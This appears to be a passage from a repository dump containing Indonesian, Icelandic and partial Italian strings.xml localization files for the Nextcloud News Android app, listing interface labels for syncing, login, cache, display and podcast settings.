 <string name=\"notification_feed_none\">Tidak ada notifikasi sama sekali</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Masukkan</string>\n    <string name=\"hint_folder_name\">Nama Folder</string>\n    <string name=\"folder_already_exists\">Folder sudah ada</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Login manual</string>\n    <string name=\"login_sso\">Masuk menggunakan Aplikasi Berkas Nextcloud</string>\n    <string name=\"pref_title_username\">Nama pengguna</string>\n    <string name=\"pref_title_password\">Kata sandi</string>\n    <string name=\"pref_title_owncloudRootPath\">Alamat root ownCloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">Masuk</string>\n    <string name=\"login_progress_signing_in\">Sedang masuk...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Bidang wajib diisi</string>\n    <string name=\"error_invalid_url\">URL salah</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"other\">Mengunduh %d item lama</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Tidak ada item lain yang tersedia</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"other\">Berhasil mengambil %d item sejauh ini ...</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Setelan</string>\n    <string name=\"cache_is_cleared\">Cache dibersihkan!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Umum</string>\n    <string name=\"pref_title_general_sort_order\">Urutan</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Baru → Lama</string>\n    <string name=\"pref_general_sort_order_old_new\">Lama → Baru</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Aksi saat menggeser ke kanan</string>\n    <string name=\"pref_rename_action_swipe_left\">Aksi saat menggeser ke kiri</string>\n\n    <string name=\"pref_general_search_in_title\">Judul</string>\n    <string name=\"pref_general_search_in_body\">Isi</string>\n    <string name=\"pref_general_search_in_both\">Keduanya</string>\n\n    <string name=\"dialog_clearing_cache\">Membersihkan cache</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Membersihkan cache. Mohon tunggu...</string>\n    <string name=\"reset_cache_unsaved_changes\">Ada perubahan yang belum disinkronkan. Apakah Anda tetap ingin mengatur ulang cache?</string>\n    <string name=\"warning\">Peringatan</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sinkronisasi pada saat mulai</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Tampilkan hanya artikel yang belum dibaca</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Nonaktifkan Verifikasi Hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigasi dengan tombol volume</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Tandai telah dibaca saat bergulir</string>\n    <string name=\"pref_title_ShowFastActions\">Aktifkan fungsi akses cepat</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Lewati tampilan detail dan buka artikel di browser</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Tombol kembali membuka laci</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Terima Sertifikat yang Tak Dikenal?</string>\n    <string name=\"mtm_decision_always\">Selalu</string>\n    <string name=\"mtm_decision_abort\">Batal</string>\n    <string name=\"mtm_notification\">Verifikasi Sertifikat</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Tidak ada siniar yang dipilih</string>\n    <string name=\"no_chapters_available\">Tidak ada bab tersedia</string>\n    <string name=\"exit_playback\">Keluar Pemutar</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Kecepatan Pemutaran</string>\n    <string name=\"notification_downloading_podcast_title\">Unduh podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Apakah Anda yakin?</string>\n    <string name=\"dialog_podcast_remove_confirm\">Hapus</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Tentang</string>\n    <string name=\"pref_license\">Lisensi</string>\n    <string name=\"pref_license_summary\">Lisensi Publik Umum Affero GNU (AGPL) versi 3</string>\n    <string name=\"pref_report_issue\">Laporan masalah</string>\n    <string name=\"pref_report_issue_summary\">Membutuhkan akun GitHub (gratis)</string>\n    <string name=\"pref_contribute\">Berkontribusi!</string>\n    <string name=\"pref_contribute_summary\">Dapatkan kode sumber</string>\n    <string name=\"pref_privacy\">Privasi</string>\n    <string name=\"pref_privacy_summary\">Kebijakan Privasi Berita Nextcloud Android</string>\n    <string name=\"pref_version\">Aplikasi Android Berita Nextcloud</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Tampilkan</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Tata letak daftar umpan</string>\n    <string name=\"pref_title_font_size\">Ukuran font</string>\n    <string name=\"pref_display_browser\">Peramban</string>\n\n\n    <string name=\"pref_display_apptheme_auto\">Bawaan Sistem</string>\n    <string name=\"pref_display_apptheme_light\">Terang</string>\n    <string name=\"pref_display_apptheme_dark\">Gelap</string>\n\n    <string name=\"pref_oled_mode\">Latar belakang hitam</string>\n    <string name=\"pref_oled_mode_summary\">Untuk tema gelap pada layar OLED</string>\n\n    <string name=\"pref_external_player\">Pemutar Eksternal</string>\n    <string name=\"pref_external_player_summary\">Putar podcast di aplikasi media bawaan Anda</string>\n\n    <string name=\"pref_display_browser_cct\">Tab-Khusus-Chrome Bawaan</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Teks sederhana</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Tajuk</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Teks lengkap</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Tata letak web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Tampilan kartu</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Kecil</string>\n    <string name=\"pref_display_font_size_d\">Bawaan</string>\n    <string name=\"pref_display_font_size_l\">Besar</string>\n    <string name=\"pref_display_font_size_xl\">Ekstra Besar</string>\n\n    <string name=\"content_desc_play\">Putar</string>\n    <string name=\"content_desc_pause\">Jeda</string>\n    <string name=\"content_desc_playback_speed\">Kecepatan pemutaran</string>\n    <string name=\"content_desc_rewind\">mundur</string>\n    <string name=\"content_desc_forward\">Teruskan</string>\n    <string name=\"content_desc_expand\">Perluas</string>\n    <string name=\"content_desc_collapse\">Tutup</string>\n    <string name=\"content_desc_mark_as_read\">tandai sudah dibaca</string>\n    <string name=\"content_desc_mark_as_unread\">Tandai belum dibaca</string>\n    <string name=\"content_desc_tap_to_refresh\">Ketuk untuk menyegarkan</string>\n    <string name=\"content_desc_add_to_favorites\">Tambah ke favorit</string>\n    <string name=\"content_desc_remove_from_favorites\">Remove from favorites</string>\n    <string name=\"content_desc_show_password\">Tampilkan kata sandi</string>\n    <string name=\"content_desc_delete\">Hapus</string>\n    <string name=\"content_desc_download\">Unduh</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Kesalahan</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Sepertinya aplikasi berita Anda belum terinstal atau diaktifkan di server Anda. Silakan ikuti petunjuk yang diberikan di sini untuk melakukan penyiapan aplikasi berita di server Anda terlebih dahulu: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Ada yang tidak beres :(</string>\n    <string name=\"login_dialog_text_not_compatible\">Versi Aplikasi ini tidak kompatibel dengan Aplikasi Berita Nextcloud Anda. Harap tingkatkan aplikasi berita dan kerangka kerjanya.</string>\n    <string name=\"login_dialog_title_security_warning\">Peringatan Keamanan</string>\n    <string name=\"login_dialog_text_security_warning\">Anda tidak menggunakan HTTPS, yang sangat dianjurkan. Penyerang dapat mengintersep lalu lintas Anda dan mendapatkan akses ke beberapa data sensitif (misalnya, sandi Anda).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Ada yang salah. Silakan coba lagi.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data &amp; sync</string>\n    <string name=\"pref_title_clearCache\">Bersihkan cache</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cache gambar luring</string>\n    <string name=\"pref_title_Max_Cache_Size\">Ukuran Cache Maks</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Tidak pernah</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Hanya melalui WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Melalui WiFi &amp; Mobile</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Tanya ketika tidak tersambung ke WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Tidak pernah</string>\n    <string name=\"array_sync_interval_min_5\">5 menit</string>\n    <string name=\"array_sync_interval_min_15\">15 menit</string>\n    <string name=\"array_sync_interval_min_30\">30 Menit</string>\n    <string name=\"array_sync_interval_min_45\">45 menit</string>\n    <string name=\"array_sync_interval_hour_1\">1 jam</string>\n    <string name=\"array_sync_interval_hour_2\">2 jam</string>\n    <string name=\"array_sync_interval_hour_3\">3 jam</string>\n    <string name=\"array_sync_interval_hour_6\">6 jam</string>\n    <string name=\"array_sync_interval_hour_12\">12 jam</string>\n    <string name=\"switch_account\">Pindah akun</string>\n    \n    <string name=\"please_wait\">Harap tunggu...</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-is/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sjálfvirk samstilling</string>\n    <string name=\"title_activity_sync_interval_selector\">Bil milli samstillinga</string>\n    <string name=\"empty_view_content\">Engin atriði hér</string>\n    <string name=\"empty_view_content_action\">Draga niður til að endurlesa</string>\n    <string name=\"toast_GettingMoreItems\">Byrjað er að sækja fleiri atriði. Hinkraðu aðeins …</string>\n    <string name=\"no_wifi_available\">Ekkert WiFi-net tengt</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Viltu sækja myndirnar án Wi-Fi-tengingar?</string>\n    <string name=\"current_version\">Þú ert að nota útgáfu %s</string>\n    <string name=\"widget_header\">Nextcloud-fréttir</string>\n    <string name=\"message_bar_scroll_top\">Endurhlaða og skruna efst</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d nýtt atriði tiltækt</item>\n        <item quantity=\"other\">%d ný atriði tiltæk</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Endurhlaða</string>\n    <string name=\"allUnreadFeeds\">Öll ólesin atriði</string>\n    <string name=\"starredFeeds\">Stjörnumerkt atriði</string>\n    <string name=\"downloadedPodcasts\">Sótt hlaðvörp</string>\n    <string name=\"title_activity_new_feed\">Bæta við nýjum fréttastraumi</string>\n\n    <string name=\"menu_update\">Endurlesa</string>\n    <string name=\"menu_markAllAsRead\">Merkja allt sem lesið</string>\n    <string name=\"menu_StartImageCaching\">Sækja myndir</string>\n    <string name=\"menu_downloadMoreItems\">Sækja fleiri atriði</string>\n\n    <string name=\"tv_showing_cached_version\">Sýna útgáfu í skyndiminni</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Stjörnumerkt</string>\n    <string name=\"action_read\">Lesa</string>\n    <string name=\"action_playPodacst\">Spila hlaðvarp</string>\n    <string name=\"action_removePodcast\">Fjarlægja hlaðvarpsgögn</string>\n    <string name=\"action_openInBrowser\">Opna í vafra</string>\n    <string name=\"action_Share\">Deila</string>\n    <string name=\"action_login\">Stillingar þjóns</string>\n    <string name=\"action_save\">Vista</string>\n    <string name=\"action_settings\">Stillingar</string>\n    <string name=\"action_sync_settings\">Valkostir samstillingar</string>\n    <string name=\"action_add_new_feed\">Bæta við nýjum fréttastraum</string>\n    <string name=\"action_add_new_folder\">Bæta við nýrri möppu</string>\n    <string name=\"action_textToSpeech\">Lesa upphátt</string>\n    <string name=\"action_search\">Leita</string>\n    <string name=\"action_download_articles_offline\">Sækja ónettengdar greinar</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Sæki greinar til að lesa án nettengingar</string>\n    <string name=\"notification_download_images_offline\">Sæki myndir til að nota án nettengingar</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Þú átt %d nýtt ólesið atriði</item>\n        <item quantity=\"other\">Þú átt %d ný ólesin atriði</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d nýtt ólesið atriði tiltækt</item>\n        <item quantity=\"other\">%d ný ólesin atriði tiltæk</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Streymisslóð</string>\n    <string name=\"action_add_feed\">Bæta við fréttastraum</string>\n    <string name=\"import_opml\">Flytja inn OPML</string>\n    <string name=\"export_opml\">Flytja út OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Sækja mynd</string>\n    <string name=\"action_img_sharelink\">Deila tengli á mynd</string>\n    <string name=\"action_img_open\">Opna mynd í vafra</string>\n    <string name=\"action_img_copylink\">Afrita tengil á mynd</string>\n    <string name=\"action_link_share\">Deila tengli</string>\n    <string name=\"action_link_open\">Opna tengil í vafra</string>\n    <string name=\"action_link_copy\">Afrita tengil</string>\n    <string name=\"toast_img_download_wait\">Er að sækja. Bíddu aðeins …</string>\n    <string name=\"toast_img_saved\">Mynd vistuð</string>\n    <string name=\"toast_img_notwriteable\">Tókst ekki að skrifa mynd.</string>\n    <string name=\"toast_copied_to_clipboard\">Afritað á klippispjald</string>\n    <string name=\"error_download_failed\">Niðurhal mistókst</string>\n    <string name=\"intent_title_share\">Deila með</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Fjarlægja streymi</string>\n    <string name=\"action_feed_rename\">Endurnefna streymi</string>\n    <string name=\"action_feed_move\">Færa streymi</string>\n    <string name=\"action_feed_notification_settings\">Stillingar á tilkynningum</string>\n    <string name=\"action_feed_open_in\">Opna í stillingum</string>\n    <string name=\"action_feed_open_in_general_setting\">Nota almenna stillingu</string>\n    <string name=\"action_feed_open_in_detailed_view\">Ítarleg sýn</string>\n    <string name=\"feed_remove_button\">Fjarlægja</string>\n    <string name=\"feed_rename_button\">Endurskýra</string>\n    <string name=\"confirm_feed_remove\">Ertu viss um að þú viljir fjarlægja þetta streymi? Þetta er ekki hægt að afturkalla!</string>\n    <string name=\"feed_move_list_description\">Veldu möppu sem á að færa streymið í</string>\n    <string name=\"move_feed_root_folder\">Rótarmappa</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Fjarlægja möppu</string>\n    <string name=\"action_folder_rename\">Endurnefna möppu</string>\n    <string name=\"folder_remove_button\">Fjarlægja</string>\n    <string name=\"folder_rename_button\">Endurnefna</string>\n    <string name=\"confirm_folder_remove\">Ertu viss um að þú viljir fjarlægja þessa möppu? Þetta er ekki hægt að afturkalla!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Taka á móti sérstökum tilkynningum fyrir þetta streymi</string>\n    <string name=\"notification_feed_default\">Öll streymi með sjálfgefnu stillingunni munu birtast í einni tilkynningu</string>\n    <string name=\"notification_feed_none\">Alls engar tilkynningar</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Bæta við</string>\n    <string name=\"hint_folder_name\">Heiti möppu</string>\n    <string name=\"folder_already_exists\">Mappan er þegar til</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Handvirk innskráning</string>\n    <string name=\"login_sso\">Skrá inn með Nextcloud-skráaforritinu</string>\n    <string name=\"pref_title_username\">Notendanafn</string>\n    <string name=\"pref_title_password\">Lykilorð</string>\n    <string name=\"pref_title_owncloudRootPath\">Rótarvistfang Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Skrá inn</string>\n    <string name=\"login_progress_signing_in\">Skrái inn …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Krafist er að fyllt sé í þennan reit</string>\n    <string name=\"error_invalid_url\">Röng slóð</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Merkti %d atriði sem lesið</item>\n        <item quantity=\"other\">Merkti %d atriði  sem lesin</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Sótti %d eldra atriði</item>\n        <item quantity=\"other\">Sótti %d eldri atriði</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Engin fleiri atriði tiltæk</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Hef náð í %d atriði fram til þessa …</item>\n        <item quantity=\"other\">Hef náð í %d atriði fram til þessa …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Stillingar</string>\n    <string name=\"cache_is_cleared\">Skyndiminni hreinsað!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Almennt</string>\n    <string name=\"pref_title_general_sort_order\">Röðun</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nýtt → Eldra</string>\n    <string name=\"pref_general_sort_order_old_new\">Eldra → Nýtt</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Aðgerð þegar strokið er til hægri</string>\n    <string name=\"pref_rename_action_swipe_left\">Aðgerð þegar strokið er til vinstri</string>\n\n    <string name=\"pref_title_general_search_in\">Leita í</string>\n\n    <string name=\"pref_general_search_in_title\">Titill</string>\n    <string name=\"pref_general_search_in_body\">Meginmál</string>\n    <string name=\"pref_general_search_in_both\">Bæði</string>\n\n    <string name=\"dialog_clearing_cache\">Hreinsa skyndiminni</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Hreinsa skyndiminni. Bíddu aðeins …</string>\n    <string name=\"reset_cache_unsaved_changes\">Það eru ósamstilltar breytingar. Viltu samt endurstilla skyndiminnið?</string>\n    <string name=\"warning\">Aðvörun</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Samstilla í ræsingu</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Birta einungis ólesnar greinar</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Gera sannvottun hýsilvélar óvirka</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Flakka með hnöppum fyrir hljóðstyrk</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Merkja sem lesið við skrun</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Samstilla þegar skrunað er niður til botns</string>\n    <string name=\"pref_title_ShowFastActions\">Virkja aðgerðir fyrir skyndiaðgang</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Sleppa ítarlegri sýn og opna greinina í vafranum</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Til baka-hnappur opnar sleða</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Samþykkja óþekkt skilríki?</string>\n    <string name=\"mtm_decision_always\">Alltaf</string>\n    <string name=\"mtm_decision_abort\">Hætta við</string>\n    <string name=\"mtm_notification\">Sannvottun skilríkis</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Ekkert hlaðvarp valið</string>\n    <string name=\"no_chapters_available\">Engir kaflar tiltækir</string>\n    <string name=\"exit_playback\">Hætta í spilara</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Hraði afspilunar</string>\n    <string name=\"notification_downloading_podcast_title\">Sæki hlaðvarp</string>\n    <string name=\"dialog_podcast_remove_title\">Ertu viss?</string>\n    <string name=\"dialog_podcast_remove_body\">Viltu fjarlægja sótt gögn fyrir %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Mistókst að fjarlægja gögn fyrir %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Gögn fyrir %1$s hafa verið fjarlægð</string>\n    <string name=\"dialog_podcast_remove_confirm\">Fjarlægja</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Um hugbúnaðinn</string>\n    <string name=\"pref_license\">Notkunarleyfi</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public notkunarleyfið (AGPL) útgáfa 3</string>\n    <string name=\"pref_report_issue\">Tilkynntu um vandamál</string>\n    <string name=\"pref_report_issue_summary\">Krefst (ókeypis) GitHub aðgangs</string>\n    <string name=\"pref_contribute\">Vertu virkur þáttakandi!</string>\n    <string name=\"pref_contribute_summary\">Náðu í grunnkóðann</string>\n    <string name=\"pref_privacy\">Gagnaleynd</string>\n    <string name=\"pref_privacy_summary\"> Meðferð persónuupplýsinga í Nextcloud News Android</string>\n    <string name=\"pref_news_policy\">Hafa samband / Reglur fréttaforritsins</string>\n    <string name=\"pref_news_policy_summary\">Reglur Nextcloud News Android fréttaforritsins / Hafa samband</string>\n    <string name=\"pref_version\">Nextcloud Android fréttaforrit</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Birting</string>\n    <string name=\"pref_title_app_theme\">Þema</string>\n    <string name=\"pref_title_feed_list_layout\">Framsetning streymislista</string>\n    <string name=\"pref_title_font_size\">Leturstærð</string>\n    <string name=\"pref_display_browser\">Vafri</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Táknmyndir aðgerða (ítarleg sýn)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Sjálfgefið kerfi</string>\n    <string name=\"pref_display_apptheme_light\">Ljóst</string>\n    <string name=\"pref_display_apptheme_dark\">Dökkt</string>\n\n    <string name=\"pref_oled_mode\">Svartur bakgrunnur</string>\n    <string name=\"pref_oled_mode_summary\">Fyrir dökkt þema á OLED-skjám</string>\n\n    <string name=\"pref_detailed_view_zoom\">Aðdráttur ítarlegrar sýnar</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Virkja aðdrátt að efni þegar verið er í ítarlegri sýn</string>\n\n    <string name=\"pref_external_player\">Utanaðkomandi spilari</string>\n    <string name=\"pref_external_player_summary\">Spilaðu hlaðvörp í sjálfgefna margmiðlunarspilaranum þínum</string>\n\n    <string name=\"pref_display_browser_cct\">Innbyggðir Chrome-sérsniðnir-flipar</string>\n    <string name=\"pref_display_browser_built_in\">Innbyggður vafri</string>\n    <string name=\"pref_display_browser_external\">Ytri vafri</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Smámyndir (aðeins fyrirsagnir)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Smámyndir</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Einfaldur texti</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Fyrirsagnir</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Allur textinn</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Vefframsetning</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Spjaldasýn</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Lítið</string>\n    <string name=\"pref_display_font_size_d\">Sjálfgefið</string>\n    <string name=\"pref_display_font_size_l\">Stórt</string>\n    <string name=\"pref_display_font_size_xl\">Mjög stórt</string>\n\n    <string name=\"content_desc_play\">Spila</string>\n    <string name=\"content_desc_pause\">Í bið</string>\n    <string name=\"content_desc_playback_speed\">Hraði afspilunar</string>\n    <string name=\"content_desc_rewind\">Spóla til baka</string>\n    <string name=\"content_desc_forward\">Áframsenda</string>\n    <string name=\"content_desc_expand\">Fletta út</string>\n    <string name=\"content_desc_collapse\">Fella saman</string>\n    <string name=\"content_desc_mark_as_read\">Merkja sem lesið</string>\n    <string name=\"content_desc_mark_as_unread\">Merkja allt sem ólesið</string>\n    <string name=\"content_desc_tap_to_refresh\">Ýttu til að endurlesa</string>\n    <string name=\"content_desc_add_to_favorites\">Bæta í Eftirlæti</string>\n    <string name=\"content_desc_remove_from_favorites\">Fjarlægja úr eftirlætum</string>\n    <string name=\"content_desc_show_password\">Sýna lykilorð</string>\n    <string name=\"content_desc_delete\">Eyða</string>\n    <string name=\"content_desc_download\">Sækja</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Villa</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Það lítur út fyrir að fréttaforritið sé ekki sett upp eða virkjað á þjóninum þínum. Farðu eftir leiðbeinungunum hér til að setja fréttaforritið upp fyrst á þjóninum þínum: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Úbbs! Eitthvað fór úrskeiðis :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Veffréttaforritið svaraði með útgáfu \\\"0\\\". Þú ættir að skoða eftirfarandi villuskýrslu: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Útgáfa þessa forrits er ekki samhæfð við Nextcloud fréttaforritið þitt. Endilega uppfærðu fréttaforritið og forritsumhverfi þess.</string>\n    <string name=\"login_dialog_title_security_warning\">Öryggisaðvörun</string>\n    <string name=\"login_dialog_text_security_warning\">Þú ert ekki að nota HTTPS, sem sterklega er mælt með að gera. Utanaðkomandi aðili gæti komist inn í samskiptin og öðlast þannig aðgang að viðkvæmum gögnum (t.d. lykilorðinu þínu).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Eitthvað fór úrskeiðis. Prófaðu aftur.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Gögn &amp; samstilling</string>\n    <string name=\"pref_title_clearCache\">Hreinsa skyndiminni</string>\n    <string name=\"pref_title_CacheImagesOffline\">Setja myndir í skyndiminni fyrir þegar engin nettenging finnst</string>\n    <string name=\"pref_title_Max_Cache_Size\">Hámarksstærð skyndiminnis</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Aldrei</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Einungis yfir WiFi-net</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Yfir WiFi-net &amp; farsímasamband</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Spyrja þegar ekki er WiFi-tenging</string>\n\n    <string name=\"array_sync_interval_min_0\">Aldrei</string>\n    <string name=\"array_sync_interval_min_5\">5 mínútur</string>\n    <string name=\"array_sync_interval_min_15\">15 mínútur</string>\n    <string name=\"array_sync_interval_min_30\">30 mínútur</string>\n    <string name=\"array_sync_interval_min_45\">45 mínútur</string>\n    <string name=\"array_sync_interval_hour_1\">1 klukkustund</string>\n    <string name=\"array_sync_interval_hour_2\">2 klukkustundir</string>\n    <string name=\"array_sync_interval_hour_3\">3 klukkustundir</string>\n    <string name=\"array_sync_interval_hour_6\">6 klukkustundir</string>\n    <string name=\"array_sync_interval_hour_12\">12 klukkustundir</string>\n    <string name=\"array_sync_interval_hour_24\">24 klukkustundir</string>\n    <string name=\"switch_account\">Skipta um notandaaðgang</string>\n    \n    <string name=\"successfully_exported\">Tókst að flytja út í:</string>\n    <string name=\"opml_export\">OPML-útflutningur</string>\n    <string name=\"parsing_opml\">Þátta OPML</string>\n    <string name=\"please_wait\">Bíddu aðeins …</string>\n    <string name=\"interval_sync_title\">Millibil samstillinga</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-it/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronizzazione automatica</string>\n    <string name=\"title_activity_sync_interval_selector\">Intervallo di sincronizzazione</string>\n    <string name=\"empty_view_content\">Nessun elemento</string>\n    <string name=\"empty_view_content_action\">Tira in giù per aggiornare</string>\n    <string name=\"toast_GettingMoreItems\">Iniziato lo scaricamento di altri elementi. Attendi ...</string>\n    <string name=\"no_wifi_available\">WiFi non connesso</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Vuoi scaricare le foto senza una connessione Wi-Fi?</string>\n    <string name=\"current_version\">Stai usando la versione %s</string>\n    <string name=\"widget_header\">Notizie di NextCloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d nuovi elemento disponibile</item>\n        <item quantity=\"many\">%d nuovi elementi disponibili</item>\n        <item quantity=\"other\">%d nuovi elementi disponibili</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Ricarica</string>\n    <string name=\"allUnreadFeeds\">Tutti gli elementi non letti</string>\n    <string name=\"starredFeeds\">Elementi preferiti</string>\n    <string name=\"downloadedPodcasts\">Podcast scaricati</string>\n    <string name=\"title_activity_new_feed\">Aggiungi una nuova fonte</string>\n\n    <string name=\"menu_update\">Aggiorna</string>\n    <string name=\"menu_markAllAsRead\">Marca tutti come letti</string>\n    <string name=\"menu_StartImageCaching\">Scarica le immagini</string>\n    <string name=\"menu_downloadMoreItems\">Scarica altri elementi</string>\n\n    <string name=\"tv_showing_cached_version\">Mostra la versione in cache</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Preferiti</string>\n    <string name=\"action_read\">Lettura</string>\n    <string name=\"action_playPodacst\">Riproduci podcast</string>\n    <string name=\"action_removePodcast\">Rimuovi Media Podcast</string>\n    <string name=\"action_openInBrowser\">Apri nel browser web</string>\n    <string name=\"action_Share\">Condividi</string>\n    <string name=\"action_login\">Impostazioni del server</string>\n    <string name=\"action_save\">Salva</string>\n    <string 